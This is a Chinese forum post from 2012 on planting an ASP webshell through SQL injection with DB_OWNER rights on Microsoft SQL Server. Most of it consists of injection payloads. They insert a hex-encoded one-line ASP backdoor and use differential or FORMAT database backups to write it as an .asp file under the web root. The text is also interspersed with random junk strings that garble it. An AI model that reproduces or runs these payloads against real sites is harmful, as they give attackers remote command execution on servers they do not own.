找回密码
 立即注册
查看: 2585|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:/ Y6 d  H% S: `; {
( ?  w: S+ H* y- L
减少备份文件大小,得到可执行的webshell成功率提高不少
; q$ I& ~, N% @8 `# `一利用差异备份1 t' n" k- q5 S- B2 u1 [
加一个参数WITH DIFFERENTIAL
4 d! p4 Q" e3 r3 l9 N7 u8 ?5 _, x# Y. S1 j! F# d
1
' a' a1 z# z3 U/ e& C2  n6 [  P) U0 U8 n3 I
3
+ _4 O% I! t" L. ]4% j  |% n0 q5 F  p8 `
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s! I1 j* {' P# x* X
create table [dbo].[xiaolu] ([cmd] [image]);2 w6 [9 _( A- r! T* Y! `; ?4 p* d
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
' u4 u* C! V/ f1 V( Tdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
: w5 k) N# I7 J5 x4 i& S* x. S# b) N, p! I
二利用完全FORMAT1 N5 i. ?5 ~& _+ l' v1 f% f9 V
加一个参数WITH FROMAT
9 I$ o* p( N2 X4 n$ Y& E有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
% `2 a0 ?* n3 e4 A8 @% `( M  O& t" q
1) [/ m- h0 c" ]: h6 u; N) W8 Z
21 }* O! g% p6 _$ t  O# U( N% ]
3: t1 o1 z5 m! A/ o3 I5 p
4
8 K- ?, r5 k* U! K declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' t1 _$ Q9 O3 s! D2 i0 X( Q6 K1 acreate table [dbo].[xiaolu] ([cmd] [image]);5 c" j. @# _- Q* w9 m  ^
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)4 k8 F: c( @0 C
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
3 L! z. A9 f5 F; [  y! I: M2 o! ?9 \9 e
总的来说就是那么简单几句,下面以备份数据库model为例子
8 s+ V- f7 H9 ]2 R) p. d$ c16 J8 g  w/ Q+ k2 \

2 ~2 m5 d/ U+ j! ~' l6 Q6 D) o1
# t& j4 `+ b1 O8 ]3 f2 k id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
  D3 U' c9 d0 X% w) C
5 v" n; X  h, I9 }0 f" x2! F  m. X8 K7 |: P
# E0 V$ w( ^, ]- v8 i
1( |# U5 R+ b6 F5 _
id=1;backup database model to disk='你的路径‘ with differential,format;-- " x$ b; D; @9 r* K0 ]8 s' k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表